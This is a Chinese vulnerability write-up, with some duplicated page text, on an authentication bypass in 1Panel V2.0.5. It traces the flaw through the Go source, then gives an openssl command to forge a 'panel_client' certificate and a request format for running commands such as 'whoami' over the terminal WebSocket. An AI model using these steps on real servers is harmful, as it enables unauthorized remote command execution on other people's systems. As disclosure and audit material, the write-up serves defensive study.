We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
agent/init/router/router.go
Routers
Certificate
agent/middleware/certificate.go
c.Request.TLS.HandshakeComplete
agent/server/server.go
Start
tls.RequireAnyClientCert
注:此处由于使用tls.RequireAnyClientCert而不是tls.RequireAndVerifyClientCert,RequireAnyClientCert只要求客户端提供证书,不验证证书的签发CA,所以任何自签名证书都能通过TLS握手。
此处由于使用tls.RequireAnyClientCert而不是tls.RequireAndVerifyClientCert,RequireAnyClientCert只要求客户端提供证书,不验证证书的签发CA,所以任何自签名证书都能通过TLS握手。
/process/ws
{ "type": "ps", // 数据类型: ps(进程), ssh(SSH会话), net(网络连接), wget(下载进度) "pid": 123, // 可选,指定进程ID进行筛选 "name": "process_name", // 可选,根据进程名筛选 "username": "user" // 可选,根据用户名筛选 }
/hosts/terminal
{ "type": "cmd", "data": "d2hvYW1pCg==" // "whoami" 的base64编码,记住不要忘记回车。 }
Container Terminal WebSocket 接口(容器执行命令接口) 路由地址: /containers/terminal
/containers/terminal
File Download Process WebSocket 接口(自动推送下载进度信息) 路由地址: /files/wget/process
/files/wget/process
首先生成伪造证书 openssl req -x509 -newkey rsa:2048 -keyout panel_client.key -out panel_client.crt -days 365 -nodes -subj "/CN=panel_client"
openssl req -x509 -newkey rsa:2048 -keyout panel_client.key -out panel_client.crt -days 365 -nodes -subj "/CN=panel_client"
然后使用证书请求验证,如果成功连接websocket接口则存在漏洞
项目地址:项目地址 1Panel
官网:https://www.1panel.cn/
时间:2025 07 26
版本:1panel V2.0.5
漏洞简述
代码审计过程
agent/init/router/router.go
Routers
函数中引用Certificate
函数进行了全局校验agent/middleware/certificate.go
Certificate
函数判断了c.Request.TLS.HandshakeComplete
是否进行了证书通讯c.Request.TLS.HandshakeComplete
的真假判断是通过agent/server/server.go
代码Start
函数中的tls.RequireAnyClientCert
来判断的注:
此处由于使用tls.RequireAnyClientCert而不是tls.RequireAndVerifyClientCert,RequireAnyClientCert只要求客户端提供证书,不验证证书的签发CA,所以任何自签名证书都能通过TLS握手。
Certificate
函数中的其他判断,只验证了证书CN字段为panel_client,未验证证书签发者。最后发现WebSocket连接可以绕过Proxy-ID验证。路由地址:
/process/ws
请求格式如下
路由地址:
/hosts/terminal
请求格式如下
Container Terminal WebSocket 接口(容器执行命令接口)
路由地址:
/containers/terminal
File Download Process WebSocket 接口(自动推送下载进度信息)
路由地址:
/files/wget/process
攻击过程
首先生成伪造证书
openssl req -x509 -newkey rsa:2048 -keyout panel_client.key -out panel_client.crt -days 365 -nodes -subj "/CN=panel_client"
然后使用证书请求验证,如果成功连接websocket接口则存在漏洞